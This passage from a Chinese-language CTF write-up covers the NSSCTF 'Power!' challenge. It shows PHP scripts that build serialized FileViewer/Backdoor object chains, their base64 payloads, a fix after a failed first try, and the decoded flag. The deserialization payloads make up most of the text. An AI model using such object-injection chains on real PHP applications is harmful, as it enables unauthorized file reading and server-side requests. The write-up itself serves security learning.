1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class FileViewer { public $black_list ; public $local ; public $path ='flag.php' ; } class Backdoor { public $a ; public $b ='local' ; public $superhacker ; } $f = new FileViewer (); $back = new Backdoor (); $back -> a = $f ; $back -> b = "local" ; $back -> superhacker = "127.0.0.1:65500/fl" ; $back -> a -> path = "ag.php" ; echo (base64_encode ((serialize ($back )))); ?> Tzo4OiJCYWNrZG9vciI6Mzp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtOO3M6NToibG9jYWwiO047czo0OiJwYXRoIjtzOjY6ImFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MTg6IjEyNy4wLjAuMTo2NTUwMC9mbCI7fQ==
然后传入这个参数之后,报错了 报错的信息是Backdoor没有loadfile这个方法,我们再去看这边反序列化的源码
1 2 $FV = unserialize(base64_decode($path_info)) $FV->loadfile()
最后执行loadfile的是$FV
,但是我们代码里面定义的是$f
在$back
中,由于反序列化是从里面到外面的,所以最后FV是Backdoor这个类的, 而这个类没有loadfile()这个函数,所以解决方法也知道了,我们让$back
是一个新的FileViewer类的一个任意属性(但是我只有local属性成功了,可能是因为local没什么别的限制),然后去反序列化这个新的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class FileViewer { public $black_list ; public $local ; public $path ; } class Backdoor { public $a ; public $b ; public $superhacker ; } $f = new FileViewer (); $back = new Backdoor (); $back -> a = $f ; $back -> b = "local" ; $back -> superhacker = "127.0.0.1:65500/fl" ; $back -> a -> path = "ag.php" ; $new_one = new FileViewer (); $new_one -> local = $back ; echo (base64_encode ((serialize ($new_one )))); ?> TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7TjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO086MTA6IkZpbGVWaWV3ZXIiOjM6e3M6MTA6ImJsYWNrX2xpc3QiO047czo1OiJsb2NhbCI7TjtzOjQ6InBhdGgiO3M6NjoiYWcucGhwIjt9czoxOiJiIjtzOjU6ImxvY2FsIjtzOjExOiJzdXBlcmhhY2tlciI7czoxODoiMTI3LjAuMC4xOjY1NTAwL2ZsIjt9czo0OiJwYXRoIjtOO30=
1 2 3 ┌──(root㉿kakeru)-[~/tmp] └─# echo TlNTQ1RGezIwMGE5YzU2LThiM2MtNDdmMC04ZmNjLWFjYjc5MWQ1N2M4NH0= | base64 -d NSSCTF{200a9c56-8b3c-47f0-8fcc-acb791d57c84}
这题参考的大佬wp:NSS [SWPUCTF 2022 新生赛] Power!